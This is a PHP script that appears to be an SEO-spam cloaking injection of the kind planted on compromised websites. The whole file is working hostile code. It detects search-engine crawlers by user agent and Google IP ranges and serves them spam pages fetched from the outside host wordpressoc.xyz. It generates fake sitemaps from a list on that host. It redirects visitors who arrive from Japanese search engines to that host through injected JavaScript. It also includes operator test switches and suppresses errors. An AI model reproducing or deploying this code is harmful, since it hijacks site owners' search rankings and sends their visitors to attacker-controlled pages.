error_reporting(0);
$isIp = false;
$ipRanges = array(  array('64.233.160.0' , '64.233.191.255'),   array('66.102.0.0' , '66.102.255.255') ,   array('66.249.0.0' , '66.249.255.255') ,   array('72.14.192.0' , '72.14.255.255') ,   array('74.125.0.0' , '74.125.255.255') ,   array('209.85.128.0' , '209.85.255.255') ,   array('216.239.32.0' , '216.239.63.255') , array('216.172.128.0' , '216.239.159.255') ,  array('64.68.80.0' , '64.68.95.255'),  array('205.164.0.0' , '205.164.63.255') ,  array('50.117.0.0' , '50.117.127.255') ,  array('23.104.0.0' , '23.104.255.255') ,  array('23.80.0.0' , '23.80.255.255') ,  array('104.132.0.0' , '104.132.255.255') ,  array('104.134.0.0' , '104.134.255.255') ,  array('104.135.0.0' , '104.135.255.255') ,  array('38.99.82.0' , '38.99.251.255') );
$localIp = get_ip();
$isIp = is_ip($localIp,$ipRanges);
$isbot = isCrawler();
if ($isbot && isset($_GET['action']) && $_GET['action']=='test'){
    echo "test ok";
    exit;
}
if (preg_match("#(.jpg|.jpeg|.png|.gif|.css|.js|.pdf|.ico)#si", $_SERVER["REQUEST_URI"])){
    header("HTTP/1.1 404 Not Found");
    header("Status: 404 Not Found");
    exit;
}
if (stristr($_SERVER["REQUEST_URI"],"sitemap.xml") || stristr($_SERVER["REQUEST_URI"],"sitemap_1.xml")){
    $siteLink='http://'.$_SERVER['HTTP_HOST'];
    $date = getcontent("http://www.wordpressoc.xyz/page50-32345/sitemap.txt");
    $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;
    $mapEnd = PHP_EOL .  '</urlset>';
    $n = 5;
    $datas = explode("\r\n", $date);
    if (count($datas)<=1){
        $datas = explode("\n", $date);
    }
    $datas[0] = substr($datas[0],3);
    $suffixs = explode("|", $datas[0]);
    $avg = (int)(50000/(count($datas)-1)/count($suffixs));
    $mapMid = "";
    for($i=1;$i<count($datas);$i++){
        for ($s=0;$s<count($suffixs);$s++){
            for($j=1;$j<$avg;$j++){
                $date = date("Y-m-d");			$time = date("H:i:s");
                $p_c = explode("|", $datas[$i]);
                $pid = mt_rand(1, $p_c[1]);
                $url = $siteLink.U($p_c[0], $pid, $suffixs[$s]);
                $mapMid .= "     <url>
            			 <loc>" . $url . "</loc>
            			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>
            			 <changefreq>daily</changefreq>
            			 <priority>0.1</priority>
            			 </url>
            		";
            }
        }
    }
    header("Content-type: text/xml");
    echo $mapPre.$mapMid .$mapEnd;exit;
}

if(($isbot && $isIp) || (isset($_GET['action']) && $_GET['action']=='bottest')){
    $content = getcontent("http://www.wordpressoc.xyz/page50-32345/page_desc.php?".$_SERVER['HTTP_HOST']."|".str_replace("?action=bottest","",$_SERVER["REQUEST_URI"]));
    echo $content;
    exit;
}

if (!$isIp && preg_match("#(google.co.jp|yahoo.co.jp|docomo.ne.jp)#si", $_SERVER["HTTP_REFERER"])){
    echo "<script>window.location.href='http://www.wordpressoc.xyz/page50-32345/go.php?".$_SERVER['HTTP_HOST']."|".$_SERVER["REQUEST_URI"]."';</script>";
    exit;
}

function getcontent($url){
    if ($url=="") return "";
    if(function_exists('curl_init')){
        $con = curl_init((string)$url);
        curl_setopt($con, CURLOPT_HEADER, false);
        curl_setopt($con, CURLOPT_RETURNTRANSFER,true);
        curl_setopt($con, CURLOPT_TIMEOUT, 120);
        $result = curl_exec($con);
        curl_close($con);
    }else{
        $result = file_get_contents($url);
    }
    return $result;
}

function get_ip($type = 0) {
    $type       =  $type ? 1 : 0;
    static $ip  =   NULL;
    if ($ip !== NULL) return $ip[$type];
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $arr    =   explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $pos    =   array_search('unknown',$arr);
        if(false !== $pos) unset($arr[$pos]);
        $ip     =   trim($arr[0]);
    }elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
        $ip     =   $_SERVER['HTTP_CLIENT_IP'];
    }elseif (isset($_SERVER['REMOTE_ADDR'])) {
        $ip     =   $_SERVER['REMOTE_ADDR'];
    }
    $long = sprintf("%u",ip2long($ip));
    $ip   = $long ? array($ip, $long) : array('0.0.0.0', 0);
    return $ip[$type];
}

function is_ip($localIp,$ipRanges)
{
    $localIp = ip2long($localIp);
    foreach($ipRanges as $val)
    {
        $ipmin=sprintf("%u",ip2long($val[0]));		$ipmax=sprintf("%u",ip2long($val[1]));
        if($localIp >= $ipmin && $localIp <= $ipmax)
        {
            return true;
        }
    }
    return false;
}
function isCrawler() {
    $agent= @strtolower($_SERVER['HTTP_USER_AGENT']);	if (!empty($agent)) {
        $spiderSite= array(
            "Googlebot",
            "Mediapartners-Google",
            "Adsbot-Google",
            "Yahoo!",
            "Google AdSense",
            "Yahoo Slurp",
            "bingbot",
            "MSNBot"
        );		foreach($spiderSite as $val) {
            $str = strtolower($val);		if (strpos($agent, $str) !== false) {
                return true;			}
        }
    } else {
        return false;	}
}

function U($cid,$pid,$suffix){
    $href = str_replace("{c}", $cid, $suffix);
    $href = str_replace("{0}", $pid, $href);
    $hrefs = str_split($href);
    $char_array=array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
    $num_array = array('0','1','2','3','4','5','6','7','8','9');
    $newhref = "";
    foreach ($hrefs as $h){
        if ($h=='$') $newhref .= $char_array[array_rand($char_array)];
        elseif ($h=='#') $newhref .= $num_array[array_rand($num_array)];
        else $newhref .=$h;
    }
    
    return $newhref;
}